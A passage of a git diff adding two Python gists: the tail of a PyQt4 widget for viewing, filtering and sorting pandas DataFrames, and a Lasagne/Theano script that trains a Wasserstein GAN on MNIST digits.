+        # Actually filter
+        self.df = df[s_lower.str.contains(str(needle))]
+
+        # Resort
+        self._resort()
+
+    def filterIsIn(self, col_ix, include):
+        df = self._orig_df
+        col = self.df.columns[col_ix]
+
+        # Convert to string
+        s_col = df[col].astype('str')
+
+        # Filter
+        self.df = df[s_col.isin(include)]
+
+        # Resort
+        self._resort()
+
+    def filterFunction(self, col_ix, function):
+        df = self.df
+        col = self.df.columns[col_ix]
+
+        self.df = df[function(df[col])]
+
+        # Resort
+        self._resort()
+
+    def reset(self):
+        self.df = self._orig_df.copy()
+        self._resort = lambda: None
+        self._pre_dyn_filter_df = None
+
+
+class DataFrameSortFilterProxyModel(QtGui.QSortFilterProxyModel):
+    def __init__(self):
+        super(DataFrameSortFilterProxyModel, self).__init__()
+
+        self._accepted_rows = []
+        self._source_df = None
+        self._refilter = lambda: None
+
+    def setSourceModel(self, source_model):
+        super(DataFrameSortFilterProxyModel, self).setSourceModel(source_model)
+
+        source_model.modelReset.connect(self._source_model_changed)
+        self._source_model_changed()
+
+    def sort(self, *args):
+        # Delegate sorting to the underyling model
+        self.sourceModel().sort(*args)
+
+    def _source_model_changed(self):
+        self._source_df = self.sourceModel().df
+        # Accept all rows
+        self._accepted_rows = xrange(0, self._source_df.shape[0])
+        print "SOURCE MODEL CHANGED", len(self._accepted_rows)
+        if len(self._accepted_rows) > 0:
+            self.setFilterString('')    # Reset the filter
+        self._refilter()
+
+    def setFilterString(self, needle):
+        """Filter DataFrame using df[col].str.contains(needle).  Case insensitive."""
+        df = self._source_df
+        col = df.columns[self.filterKeyColumn()]
+
+        # Create lowercase string version of column as series
+        s_lower = df[col].astype('str').str.lower()
+
+        # Make needle lower case too
+        needle = str(needle).lower()
+
+        mask = s_lower.str.contains(str(needle))
+        self._filter_using_mask(mask)
+        self._refilter = partial(self.setFilterString, needle)
+
+    def setFilterList(self, filter_list):
+        """Filter DataFrame using df[col].isin(filter_list)."""
+        df = self._source_df
+        col = df.columns[self.filterKeyColumn()]
+
+        mask = df[col].isin(filter_list)
+        self._filter_using_mask(mask)
+
+    def setFilterFunction(self, func):
+        """Filter DataFrame using df[col].apply(func).  Func should return True or False"""
+        df = self._source_df
+        col = df.columns[self.filterKeyColumn()]
+
+        mask = df[col].apply(func)
+        self._filter_using_mask(mask)
+
+    def _filter_using_mask(self, mask):
+        # Actually filter (need *locations* of filtered values)
+        df = self._source_df
+        col = df.columns[self.filterKeyColumn()]
+
+        ilocs = pandas.DataFrame(range(len(df)))
+        ilocs = ilocs[mask.reset_index(drop=True)]
+
+        self.modelAboutToBeReset.emit()
+        self._accepted_rows = ilocs.index
+        self.modelReset.emit()
+
+
+    @property
+    def df(self):
+        return self._source_df.iloc[self._accepted_rows]
+    @df.setter
+    def df(self, val):
+        raise AttributeError("Tried to set the dataframe of DataFrameSortFilterProxyModel")
+
+    def filterAcceptsRow(self, row, idx):
+        return row in self._accepted_rows
+
+    def filterAcceptsColumn(self, col, idx):
+        # Columns are hidden manually.  No need for this
+        return True
+
+    def setFilterRegExp(self, *args):
+        raise NotImplementedError("Use setFilterString, setFilterList, or setFilterFunc instead")
+
+    def setFilterWildcard(self, *args):
+        raise NotImplementedError("Use setFilterString, setFilterList, or setFilterFunc instead")
+
+    def setFilterFixedString(self, *args):
+        raise NotImplementedError("Use setFilterString, setFilterList, or setFilterFunc instead")
+
+
+class DynamicFilterLineEdit(QtGui.QLineEdit):
+    """Filter textbox for a DataFrameTable"""
+    def __init__(self, *args, **kwargs):
+        self._always_dynamic = kwargs.pop('always_dynamic', False)
+
+        super(DynamicFilterLineEdit, self).__init__(*args, **kwargs)
+
+        self.col_to_filter = None
+        self._orig_df = None
+        self._host = None
+
+    def bind_dataframewidget(self, host, col_ix):
+        """Bind tihs DynamicFilterLineEdit to a DataFrameTable's column
+        Args:
+            host (DataFrameWidget)
+                Host to filter
+            col_ix (int)
+                Index of column of host to filter
+        """
+        self.host = host
+        self.col_to_filter = col_ix
+        self.textChanged.connect(self._update_filter)
+
+    @property
+    def host(self):
+        if self._host is None:
+            raise RuntimeError("Must call bind_dataframewidget() "
+            "before use.")
+        else:
+            return self._host
+    @host.setter
+    def host(self, value):
+        if not isinstance(value, DataFrameWidget):
+            raise ValueError("Must bind to a DataFrameWidget, not %s" % value)
+        else:
+            self._host = value
+
+        if not self._always_dynamic:
+            self.editingFinished.connect(self._host._data_model.endDynamicFilter)
+
+    def focusInEvent(self, QFocusEvent):
+        self._host._data_model.beginDynamicFilter()
+
+    def _update_filter(self, text):
+        """Called everytime we type in the filter box"""
+        col_ix = self.col_to_filter
+
+        self.host.filter(col_ix, text)
+
+
+class DynamicFilterMenuAction(QtGui.QWidgetAction):
+    """Filter textbox in column-header right-click menu"""
+    def __init__(self, parent, menu, col_ix):
+        """Filter textbox in column right-click menu
+        Args:
+            parent (DataFrameWidget)
+                Parent who owns the DataFrame to filter
+            menu (QMenu)
+                Menu object I am located on
+            col_ix (int)
+                Index of column used in pandas DataFrame we are to filter
+        """
+        super(DynamicFilterMenuAction, self).__init__(parent)
+
+        # State
+        self.parent_menu = menu
+
+        # Build Widgets
+        widget = QtGui.QWidget()
+        layout = QtGui.QHBoxLayout()
+        self.label = QtGui.QLabel('Filter')
+        self.text_box = DynamicFilterLineEdit()
+        self.text_box.bind_dataframewidget(self.parent(), col_ix)
+        self.text_box.returnPressed.connect(self._close_menu)
+
+        layout.addWidget(self.label)
+        layout.addWidget(self.text_box)
+        widget.setLayout(layout)
+
+        self.setDefaultWidget(widget)
+
+    def _close_menu(self):
+        """Gracefully handle menu"""
+        self.parent_menu.close()
+
+
+class FilterListMenuWidget(QtGui.QWidgetAction):
+    """Filter textbox in column-right click menu"""
+    def __init__(self, parent, menu, col_ix):
+        """Filter textbox in column right-click menu
+        Args:
+            parent (DataFrameWidget)
+                Parent who owns the DataFrame to filter
+            menu (QMenu)
+                Menu object I am located on
+            col_ix (int)
+                Column index used in pandas DataFrame we are to filter
+            label (str)
+                Label in popup menu
+        """
+        super(FilterListMenuWidget, self).__init__(parent)
+
+        # State
+        self.menu = menu
+        self.col_ix = col_ix
+
+        # Build Widgets
+        widget = QtGui.QWidget()
+        layout = QtGui.QVBoxLayout()
+        self.list = QtGui.QListWidget()
+        self.list.setFixedHeight(100)
+
+        layout.addWidget(self.list)
+        widget.setLayout(layout)
+
+        self.setDefaultWidget(widget)
+
+        # Signals/slots
+        self.list.itemChanged.connect(self.on_list_itemChanged)
+        self.parent().dataFrameChanged.connect(self._populate_list)
+
+        self._populate_list(inital=True)
+
+    def _populate_list(self, inital=False):
+        self.list.clear()
+
+        df = self.parent()._data_model._orig_df
+        col = df.columns[self.col_ix]
+        full_col = set(df[col])  # All Entries possible in this column
+        disp_col = set(self.parent().df[col]) # Entries currently displayed
+
+        def _build_item(item, state=None):
+            i = QtGui.QListWidgetItem('%s' % item)
+            i.setFlags(i.flags() | QtCore.Qt.ItemIsUserCheckable)
+            if state is None:
+                if item in disp_col:
+                    state = QtCore.Qt.Checked
+                else:
+                    state = QtCore.Qt.Unchecked
+            i.setCheckState(state)
+            i.checkState()
+            self.list.addItem(i)
+            return i
+
+        # Add a (Select All)
+        if full_col == disp_col:
+            select_all_state = QtCore.Qt.Checked
+        else:
+            select_all_state = QtCore.Qt.Unchecked
+        self._action_select_all = _build_item('(Select All)', state=select_all_state)
+
+        # Add filter items
+        if inital:
+            build_list = full_col
+        else:
+            build_list = disp_col
+        for i in sorted(build_list):
+            _build_item(i)
+
+        # Add a (Blanks)
+        # TODO
+
+    def on_list_itemChanged(self, item):
+        ###
+        # Figure out what "select all" check-box state should be
+        ###
+        self.list.blockSignals(True)
+        if item is self._action_select_all:
+            # Handle "select all" item click
+            if item.checkState() == QtCore.Qt.Checked:
+                state = QtCore.Qt.Checked
+            else:
+                state = QtCore.Qt.Unchecked
+            # Select/deselect all items
+            for i in range(self.list.count()):
+                if i is self._action_select_all: continue
+                i = self.list.item(i)
+                i.setCheckState(state)
+        else:
+            # Non "select all" item; figure out what "select all" should be
+            if item.checkState() == QtCore.Qt.Unchecked:
+                self._action_select_all.setCheckState(QtCore.Qt.Unchecked)
+            else:
+                # "select all" only checked if all other items are checked
+                for i in range(self.list.count()):
+                    i = self.list.item(i)
+                    if i is self._action_select_all: continue
+                    if i.checkState() == QtCore.Qt.Unchecked:
+                        self._action_select_all.setCheckState(QtCore.Qt.Unchecked)
+                        break
+                else:
+                    self._action_select_all.setCheckState(QtCore.Qt.Checked)
+        self.list.blockSignals(False)
+
+        ###
+        # Filter dataframe according to list
+        ###
+        include = []
+        for i in range(self.list.count()):
+            i = self.list.item(i)
+            if i is self._action_select_all: continue
+            if i.checkState() == QtCore.Qt.Checked:
+                include.append(str(i.text()))
+
+        self.parent().blockSignals(True)
+        self.parent().filterIsIn(self.col_ix, include)
+        self.parent().blockSignals(False)
+        self.parent()._enable_widgeted_cells()
+
+class DataFrameItemDelegate(QtGui.QStyledItemDelegate):
+    """Implements WidgetedCell"""
+
+    def __init__(self):
+        super(DataFrameItemDelegate, self).__init__()
+        self._cell_widget_states = {}
+
+
+    def createEditor(self, parent, option, index):
+        data = index.data(DataFrameModel.RawDataRole)
+        true_index = index.data(DataFrameModel.RawIndexRole)
+        if isinstance(data, WidgetedCell):
+            # Make new widget
+            widget_class = data.widget
+            # Give out widget our cell parent so it knows where to paint
+            widget = widget_class(parent)
+            try:
+                # Find existing widget if we can
+                widget_state = self._cell_widget_states[true_index]
+            except KeyError:
+                pass
+            else:
+                try:
+                    widget.setWidgetedCellState(widget_state)
+                except AttributeError:
+                    # Not implementing the WidgetedCell interface
+                    pass
+            return widget
+        else:
+            return super(DataFrameItemDelegate, self).createEditor(parent, option, index)
+
+
+    def setModelData(self, widget, model, index):
+        # Try to save the state of the widget
+        try:
+            widget_state = widget.getWidgetedCellState()
+        except AttributeError:
+            # Not implementing the WidgetedCell interface
+            return
+        true_index = index.data(DataFrameModel.RawIndexRole)
+        self._cell_widget_states[true_index] = widget_state
+
+
+
+    def paint(self, painter, option, index):
+        d = index.data(DataFrameModel.RawDataRole)
+        if isinstance(d, WidgetedCell):
+            # Don't paint, create editor instead
+            return None
+        else:
+            return super(DataFrameItemDelegate, self).paint(painter, option, index)
+
+
+class DataFrameWidget(QtGui.QTableView):
+
+    dataFrameChanged = QtCore.pyqtSignal()
+    cellClicked = QtCore.pyqtSignal(int, int)
+
+    def __init__(self, parent=None, df=None):
+        """DataFrameTable
+        Create a widget to display a pandas DataFrame.
+        Args:
+            parent (QObject)
+                Parent object (likely window or canvas)
+            df (pandas DataFrame, optional)
+                DataFrame to display
+        """
+        super(DataFrameWidget, self).__init__(parent)
+
+
+        self.defaultExcelFile = "temp.xls"
+        self.defaultExcelSheet = "Output"
+
+        # Set up view
+        self._data_model = DataFrameModel()
+        self.setModel(self._data_model)
+
+        # Signals/Slots
+        self._data_model.modelReset.connect(self.dataFrameChanged)
+        self._data_model.dataChanged.connect(self.dataFrameChanged)
+        self.clicked.connect(self._on_click)
+        self.dataFrameChanged.connect(self._enable_widgeted_cells)
+
+        # Set up delegate Delegate
+        delegate = DataFrameItemDelegate()
+        self.setItemDelegate(delegate)
+        # Show the edit widget as soon as the user clicks in the cell
+        #  (needed for item delegate)
+        self.setEditTriggers(self.CurrentChanged)
+
+        # Initilize to passed dataframe
+        if df is None:
+            df = pandas.DataFrame()
+        self._data_model.setDataFrame(df)
+
+
+        #self.setSortingEnabled(True)
+
+        # Create header menu bindings
+        self.horizontalHeader().setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
+        self.horizontalHeader().customContextMenuRequested.connect(self._header_menu)
+
+        self._enable_widgeted_cells()
+
+    def make_cell_context_menu(self, menu, row_ix, col_ix):
+        """Create the mneu displayed when right-clicking on a cell.
+        Overrite this method to add custom right-click options
+        Args:
+            menu (QMenu)
+                Menu to which to add actions
+            row_ix (int)
+                Row location in dataframe
+            col_ix (int)
+                Coloumn location in dataframe
+        Returns:
+            menu (QMenu)
+                Same menu passed in, with added actions
+        """
+        cell_val = self.df.iget_value(row_ix, col_ix)
+
+        # Quick Filter
+        def _quick_filter(s_col):
+            return s_col == cell_val
+        menu.addAction(self._icon('CommandLink'),
+            "Quick Filter", partial(self._data_model.filterFunction, col_ix=col_ix, function=_quick_filter))
+
+        # GreaterThan/LessThan filter
+        def _cmp_filter(s_col, op):
+            return op(s_col, cell_val)
+        menu.addAction("Show Greater Than",
+                        partial(self._data_model.filterFunction, col_ix=col_ix,
+                                function=partial(_cmp_filter, op=operator.ge)))
+        menu.addAction("Show Less Than",
+                        partial(self._data_model.filterFunction, col_ix=col_ix,
+                                function=partial(_cmp_filter, op=operator.le)))
+        menu.addAction(self._icon('DialogResetButton'),
+                        "Clear",
+                        self._data_model.reset)
+        menu.addSeparator()
+
+        # Save to Excel
+        def _to_excel():
+            from subprocess import Popen
+            self.df.to_excel(self.defaultExcelFile, self.defaultExcelSheet)
+            Popen(self.defaultExcelFile, shell=True)
+        menu.addAction("Open in Excel",
+                       _to_excel)
+
+        return menu
+
+
+    def contextMenuEvent(self, event):
+        """Implements right-clicking on cell.
+
+        NOTE: You probably want to overrite make_cell_context_menu, not this
+        function, when subclassing.
+        """
+        row_ix = self.rowAt(event.y())
+        col_ix = self.columnAt(event.x())
+
+        if row_ix < 0 or col_ix < 0:
+            return #out of bounds
+
+        menu = QtGui.QMenu(self)
+        menu = self.make_cell_context_menu(menu, row_ix, col_ix)
+        menu.exec_(self.mapToGlobal(event.pos()))
+
+    def _header_menu(self, pos):
+        """Create popup menu used for header"""
+        menu = QtGui.QMenu(self)
+        col_ix = self.horizontalHeader().logicalIndexAt(pos)
+
+        if col_ix == -1:
+            # Out of bounds
+            return
+
+        # Filter Menu Action
+        menu.addAction(DynamicFilterMenuAction(self, menu, col_ix))
+        menu.addAction(FilterListMenuWidget(self, menu, col_ix))
+        menu.addAction(self._icon('DialogResetButton'),
+                        "Reset",
+                        self._data_model.reset)
+
+        # Sort Ascending/Decending Menu Action
+        menu.addAction(self._icon('TitleBarShadeButton'),
+                        "Sort Ascending",
+                       partial(self._data_model.sort, col_ix=col_ix, order=QtCore.Qt.AscendingOrder))
+        menu.addAction(self._icon('TitleBarUnshadeButton'),
+                        "Sort Descending",
+                       partial(self._data_model.sort, col_ix=col_ix, order=QtCore.Qt.DescendingOrder))
+        menu.addSeparator()
+
+        # Hide
+        menu.addAction("Hide", partial(self.hideColumn, col_ix))
+
+        # Show (column to left and right)
+        for i in (-1, 1):
+            if self.isColumnHidden(col_ix+i):
+                menu.addAction("Show %s" % self._data_model.headerData(col_ix+i, QtCore.Qt.Horizontal),
+                                partial(self.showColumn, col_ix+i))
+
+        menu.exec_(self.mapToGlobal(pos))
+
+
+    def setDataFrame(self, df):
+        self._data_model.setDataFrame(df)
+        self.resizeColumnsToContents()
+
+    def filter(self, col_ix, needle):
+        return self._data_model.filter(col_ix, needle)
+
+    def filterIsIn(self, col_ix, include):
+        return self._data_model.filterIsIn(col_ix, include)
+
+    @property
+    def df(self):
+        return self._data_model.df
+    @df.setter
+    def df(self, dataFrame):
+        # Use the "hard setting" of the dataframe because anyone who's interacting with the
+        #  DataFrameWidget (ie, end user) would be setting this
+        self._data_model.setDataFrame(dataFrame)
+
+    def keyPressEvent(self, event):
+        """Implements keyboard shortcuts"""
+        if event.matches(QtGui.QKeySequence.Copy):
+            self.copy()
+        else:
+            # Pass up
+            super(DataFrameWidget, self).keyPressEvent(event)
+
+    def copy(self):
+        """Copy selected cells into copy-buffer"""
+        selection = self.selectionModel()
+        indexes = selection.selectedIndexes()
+        if len(indexes) < 1:
+            # Nothing selected
+            return
+
+        # Capture selection into a DataFrame
+        items = pandas.DataFrame()
+        for idx in indexes:
+            row = idx.row()
+            col = idx.column()
+            item = idx.data()
+            if item:
+                items = items.set_value(row, col, str(item.toString()))
+
+        # Make into tab-delimited text (best for Excel)
+        items = list(items.itertuples(index=False))
+        s = '\n'.join(['\t'.join([cell for cell in row]) for row in items])
+
+        # Send to clipboard
+        QtGui.QApplication.clipboard().setText(s)
+
+
+    def _icon(self, icon_name):
+        """Convinence function to get standard icons from Qt"""
+        if not icon_name.startswith('SP_'):
+            icon_name = 'SP_' + icon_name
+        icon = getattr(QtGui.QStyle, icon_name, None)
+        if icon is None:
+            raise Exception("Unknown icon %s" % icon_name)
+        return self.style().standardIcon(icon)
+
+    def _on_click(self, index):
+        if index.isValid():
+            self.cellClicked.emit(index.row(), index.column())
+
+    def _enable_widgeted_cells(self):
+        # Update all cells with WidgetedCell to have persistent editors
+        model = self.model()
+        if model is None:
+            return
+        for r in xrange(model.rowCount()):
+            for c in xrange(model.columnCount()):
+                idx = model.index(r,c)
+                d = model.data(idx, DataFrameModel.RawDataRole)
+                if isinstance(d, WidgetedCell):
+                    self.openPersistentEditor(idx)
+
+
+class DataFrameApp(QtGui.QMainWindow):
+    """Sample DataFrameTable Application"""
+    def __init__(self, df, title="Inspecting DataFrame"):
+        super(DataFrameApp, self).__init__()
+
+        # State variables
+        self.title_base = title
+
+        # Initialize main data table
+        self.table = DataFrameWidget(self)
+        self.table.dataFrameChanged.connect(self.datatable_updated)
+        self.table.setDataFrame(df)
+        self.setCentralWidget(self.table)
+
+        # Set window size
+        col_size = sum([self.table.columnWidth(i) for i in range(0,99)])
+        col_size = min(col_size+75, 1500)
+        self.setGeometry(300, 300, col_size, 250)
+
+
+    def datatable_updated(self):
+        # Change title to reflect updated size
+        df = self.table.df
+        title = self.title_base + ' [%dx%d]' % (len(df.index), len(df.columns))
+        self.setWindowTitle(title)
+
+class ExampleWidgetForWidgetedCell(QtGui.QComboBox):
+    """
+    To implement a persistent state for the widgetd cell, you must provide
+    a `getWidgetedCellState` and `setWidgetedCellState` methods.  This is how
+    the WidgetedCell framework can create and destory your widget as needed.
+    """
+    def __init__(self, parent):
+        super(ExampleWidgetForWidgetedCell, self).__init__(parent)
+        self.addItem("Option A")
+        self.addItem("Option B")
+        self.addItem("Option C")
+        self.setCurrentIndex(0)
+
+
+    def getWidgetedCellState(self):
+        return self.currentIndex()
+
+    def setWidgetedCellState(self, state):
+        self.setCurrentIndex(state)
+
+
+if __name__ == '__main__':
+    # Create a quick example
+    _app = QtGui.QApplication(sys.argv)
+    import string
+    import random
+
+    rnd_txt = lambda: "".join( [random.choice(string.letters[:26]) for i in xrange(15)] )
+    df = [['a','b','c']*3]
+    for j in xrange(5):
+        r = []
+        for k in xrange(6):
+            r.append(rnd_txt())
+        r.append(random.randint(1,20))
+        r.append(random.random()*10)
+        r.append(WidgetedCell(ExampleWidgetForWidgetedCell))
+        df.append(r)
+
+    df = pandas.DataFrame(df, columns=['AAA','BBB','CCC','DDD','EEE','FFF','GGG','HHH','III'])
+    app = DataFrameApp(df)
+    app.show()
+    _app.exec_()
\ No newline at end of file
diff --git a/hard-gists/f3190ebba6c53887d598d03119ca2066/._snippet.py b/hard-gists/f3190ebba6c53887d598d03119ca2066/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f3190ebba6c53887d598d03119ca2066/._snippet.py differ
diff --git a/hard-gists/f3190ebba6c53887d598d03119ca2066/snippet.py b/hard-gists/f3190ebba6c53887d598d03119ca2066/snippet.py
new file mode 100644
index 00000000..99d02f3b
--- /dev/null
+++ b/hard-gists/f3190ebba6c53887d598d03119ca2066/snippet.py
@@ -0,0 +1,310 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Example employing Lasagne for digit generation using the MNIST dataset and
+Wasserstein Generative Adversarial Networks
+(WGANs, see https://arxiv.org/abs/1701.07875 for the paper and
+https://github.com/martinarjovsky/WassersteinGAN for the "official" code).
+
+It is based on a DCGAN example:
+https://gist.github.com/f0k/738fa2eedd9666b78404ed1751336f56
+This, in turn, is based on the MNIST example in Lasagne:
+https://lasagne.readthedocs.io/en/latest/user/tutorial.html
+
+Jan Schlüter, 2017-02-02
+"""
+
+from __future__ import print_function
+
+import sys
+import os
+import time
+
+import numpy as np
+import theano
+import theano.tensor as T
+
+import lasagne
+
+
+# ################## Download and prepare the MNIST dataset ##################
+# This is just some way of getting the MNIST dataset from an online location
+# and loading it into numpy arrays. It doesn't involve Lasagne at all.
+
+def load_dataset():
+    # We first define a download function, supporting both Python 2 and 3.
+    if sys.version_info[0] == 2:
+        from urllib import urlretrieve
+    else:
+        from urllib.request import urlretrieve
+
+    def download(filename, source='http://yann.lecun.com/exdb/mnist/'):
+        print("Downloading %s" % filename)
+        urlretrieve(source + filename, filename)
+
+    # We then define functions for loading MNIST images and labels.
+    # For convenience, they also download the requested files if needed.
+    import gzip
+
+    def load_mnist_images(filename):
+        if not os.path.exists(filename):
+            download(filename)
+        # Read the inputs in Yann LeCun's binary format.
+        with gzip.open(filename, 'rb') as f:
+            data = np.frombuffer(f.read(), np.uint8, offset=16)
+        # The inputs are vectors now, we reshape them to monochrome 2D images,
+        # following the shape convention: (examples, channels, rows, columns)
+        data = data.reshape(-1, 1, 28, 28)
+        # The inputs come as bytes, we convert them to float32 in range [0,1].
+        # (Actually to range [0, 255/256], for compatibility to the version
+        # provided at http://deeplearning.net/data/mnist/mnist.pkl.gz.)
+        return data / np.float32(256)
+
+    def load_mnist_labels(filename):
+        if not os.path.exists(filename):
+            download(filename)
+        # Read the labels in Yann LeCun's binary format.
+        with gzip.open(filename, 'rb') as f:
+            data = np.frombuffer(f.read(), np.uint8, offset=8)
+        # The labels are vectors of integers now, that's exactly what we want.
+        return data
+
+    # We can now download and read the training and test set images and labels.
+    X_train = load_mnist_images('train-images-idx3-ubyte.gz')
+    y_train = load_mnist_labels('train-labels-idx1-ubyte.gz')
+    X_test = load_mnist_images('t10k-images-idx3-ubyte.gz')
+    y_test = load_mnist_labels('t10k-labels-idx1-ubyte.gz')
+
+    # We reserve the last 10000 training examples for validation.
+    X_train, X_val = X_train[:-10000], X_train[-10000:]
+    y_train, y_val = y_train[:-10000], y_train[-10000:]
+
+    # We just return all the arrays in order, as expected in main().
+    # (It doesn't matter how we do this as long as we can read them again.)
+    return X_train, y_train, X_val, y_val, X_test, y_test
+
+
+# ##################### Build the neural network model #######################
+# We create two models: The generator and the critic network.
+# The models are the same as in the Lasagne DCGAN example, except that the
+# discriminator is now a critic with linear output instead of sigmoid output.
+
+def build_generator(input_var=None):
+    from lasagne.layers import InputLayer, ReshapeLayer, DenseLayer
+    try:
+        from lasagne.layers import TransposedConv2DLayer as Deconv2DLayer
+    except ImportError:
+        raise ImportError("Your Lasagne is too old. Try the bleeding-edge "
+                          "version: http://lasagne.readthedocs.io/en/latest/"
+                          "user/installation.html#bleeding-edge-version")
+    try:
+        from lasagne.layers.dnn import batch_norm_dnn as batch_norm
+    except ImportError:
+        from lasagne.layers import batch_norm
+    from lasagne.nonlinearities import sigmoid
+    # input: 100dim
+    layer = InputLayer(shape=(None, 100), input_var=input_var)
+    # fully-connected layer
+    layer = batch_norm(DenseLayer(layer, 1024))
+    # project and reshape
+    layer = batch_norm(DenseLayer(layer, 128*7*7))
+    layer = ReshapeLayer(layer, ([0], 128, 7, 7))
+    # two fractional-stride convolutions
+    layer = batch_norm(Deconv2DLayer(layer, 64, 5, stride=2, crop='same',
+                                     output_size=14))
+    layer = Deconv2DLayer(layer, 1, 5, stride=2, crop='same', output_size=28,
+                          nonlinearity=sigmoid)
+    print ("Generator output:", layer.output_shape)
+    return layer
+
+def build_critic(input_var=None):
+    from lasagne.layers import (InputLayer, Conv2DLayer, ReshapeLayer,
+                                DenseLayer)
+    try:
+        from lasagne.layers.dnn import batch_norm_dnn as batch_norm
+    except ImportError:
+        from lasagne.layers import batch_norm
+    from lasagne.nonlinearities import LeakyRectify
+    lrelu = LeakyRectify(0.2)
+    # input: (None, 1, 28, 28)
+    layer = InputLayer(shape=(None, 1, 28, 28), input_var=input_var)
+    # two convolutions
+    layer = batch_norm(Conv2DLayer(layer, 64, 5, stride=2, pad='same',
+                                   nonlinearity=lrelu))
+    layer = batch_norm(Conv2DLayer(layer, 128, 5, stride=2, pad='same',
+                                   nonlinearity=lrelu))
+    # fully-connected layer
+    layer = batch_norm(DenseLayer(layer, 1024, nonlinearity=lrelu))
+    # output layer (linear and without bias)
+    layer = DenseLayer(layer, 1, nonlinearity=None, b=None)
+    print ("critic output:", layer.output_shape)
+    return layer
+    
+
+# ############################# Batch iterator ###############################
+# This is just a simple helper function iterating over training data in
+# mini-batches of a particular size, optionally in random order. It assumes
+# data is available as numpy arrays. For big datasets, you could load numpy
+# arrays as memory-mapped files (np.load(..., mmap_mode='r')), or write your
+# own custom data iteration function. For small datasets, you can also copy
+# them to GPU at once for slightly improved performance. This would involve
+# several changes in the main program, though, and is not demonstrated here.
+
+def iterate_minibatches(inputs, targets, batchsize, shuffle=False,
+                        forever=False):
+    assert len(inputs) == len(targets)
+    if shuffle:
+        indices = np.arange(len(inputs))
+    while True:
+        if shuffle:
+            np.random.shuffle(indices)
+        for start_idx in range(0, len(inputs) - batchsize + 1, batchsize):
+            if shuffle:
+                excerpt = indices[start_idx:start_idx + batchsize]
+            else:
+                excerpt = slice(start_idx, start_idx + batchsize)
+            yield inputs[excerpt], targets[excerpt]
+        if not forever:
+            break
+
+
+# ############################## Main program ################################
+# Everything else will be handled in our main program now. We could pull out
+# more functions to better separate the code, but it wouldn't make it any
+# easier to read.
+
+def main(num_epochs=1000, epochsize=100, batchsize=64, initial_eta=5e-5,
+         clip=0.01):
+    # Load the dataset
+    print("Loading data...")
+    X_train, y_train, X_val, y_val, X_test, y_test = load_dataset()
+
+    # Prepare Theano variables for inputs and targets
+    noise_var = T.matrix('noise')
+    input_var = T.tensor4('inputs')
+
+    # Create neural network model
+    print("Building model and compiling functions...")
+    generator = build_generator(noise_var)
+    critic = build_critic(input_var)
+
+    # Create expression for passing real data through the critic
+    real_out = lasagne.layers.get_output(critic)
+    # Create expression for passing fake data through the critic
+    fake_out = lasagne.layers.get_output(critic,
+            lasagne.layers.get_output(generator))
+    
+    # Create score expressions to be maximized (i.e., negative losses)
+    generator_score = fake_out.mean()
+    critic_score = real_out.mean() - fake_out.mean()
+    
+    # Create update expressions for training
+    generator_params = lasagne.layers.get_all_params(generator, trainable=True)
+    critic_params = lasagne.layers.get_all_params(critic, trainable=True)
+    eta = theano.shared(lasagne.utils.floatX(initial_eta))
+    generator_updates = lasagne.updates.rmsprop(
+            -generator_score, generator_params, learning_rate=eta)
+    critic_updates = lasagne.updates.rmsprop(
+            -critic_score, critic_params, learning_rate=eta)
+
+    # Clip critic parameters in a limited range around zero (except biases)
+    for param in lasagne.layers.get_all_params(critic, trainable=True,
+                                               regularizable=True):
+        critic_updates[param] = T.clip(critic_updates[param], -clip, clip)
+
+    # Instantiate a symbolic noise generator to use for training
+    from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams
+    srng = RandomStreams(seed=np.random.randint(2147462579, size=6))
+    noise = srng.uniform((batchsize, 100))
+
+    # Compile functions performing a training step on a mini-batch (according
+    # to the updates dictionary) and returning the corresponding score:
+    generator_train_fn = theano.function([], generator_score,
+                                         givens={noise_var: noise},
+                                         updates=generator_updates)
+    critic_train_fn = theano.function([input_var], critic_score,
+                                      givens={noise_var: noise},
+                                      updates=critic_updates)
+
+    # Compile another function generating some data
+    gen_fn = theano.function([noise_var],
+                             lasagne.layers.get_output(generator,
+                                                       deterministic=True))
+
+    # Finally, launch the training loop.
+    print("Starting training...")
+    # We create an infinite supply of batches (as an iterable generator):
+    batches = iterate_minibatches(X_train, y_train, batchsize, shuffle=True,
+                                  forever=True)
+    # We iterate over epochs:
+    generator_updates = 0
+    for epoch in range(num_epochs):
+        start_time = time.time()
+
+        # In each epoch, we do `epochsize` generator updates. Usually, the
+        # critic is updated 5 times before every generator update. For the
+        # first 25 generator updates and every 500 generator updates, the
+        # critic is updated 100 times instead, following the authors' code.
+        critic_scores = []
+        generator_scores = []
+        for _ in range(epochsize):
+            if (generator_updates < 25) or (generator_updates % 500 == 0):
+                critic_runs = 100
+            else:
+                critic_runs = 5
+            for _ in range(critic_runs):
+                batch = next(batches)
+                inputs, targets = batch
+                critic_scores.append(critic_train_fn(inputs))
+            generator_scores.append(generator_train_fn())
+            generator_updates += 1
+
+        # Then we print the results for this epoch:
+        print("Epoch {} of {} took {:.3f}s".format(
+            epoch + 1, num_epochs, time.time() - start_time))
+        print("  generator score:\t\t{}".format(np.mean(generator_scores)))
+        print("  Wasserstein distance:\t\t{}".format(np.mean(critic_scores)))
+
+        # And finally, we plot some generated data
+        samples = gen_fn(lasagne.utils.floatX(np.random.rand(42, 100)))
+        try:
+            import matplotlib.pyplot as plt
+        except ImportError:
+            pass
+        else:
+            plt.imsave('wgan_mnist_samples.png',
+                       (samples.reshape(6, 7, 28, 28)
+                               .transpose(0, 2, 1, 3)
+                               .reshape(6*28, 7*28)),
+                       cmap='gray')
+
+        # After half the epochs, we start decaying the learn rate towards zero
+        if epoch >= num_epochs // 2:
+            progress = float(epoch) / num_epochs
+            eta.set_value(lasagne.utils.floatX(initial_eta*2*(1 - progress)))
+
+    # Optionally, you could now dump the network weights to a file like this:
+    np.savez('wgan_mnist_gen.npz', *lasagne.layers.get_all_param_values(generator))
+    np.savez('wgan_mnist_crit.npz', *lasagne.layers.get_all_param_values(critic))
+    #
+    # And load them again later on like this:
+    # with np.load('model.npz') as f:
+    #     param_values = [f['arr_%d' % i] for i in range(len(f.files))]
+    # lasagne.layers.set_all_param_values(network, param_values)
+
+
+if __name__ == '__main__':
+    if ('--help' in sys.argv) or ('-h' in sys.argv):
+        print("Trains a WGAN on MNIST using Lasagne.")
+        print("Usage: %s [EPOCHS [EPOCHSIZE]]" % sys.argv[0])
+        print()
+        print("EPOCHS: number of training epochs to perform (default: 1000)")
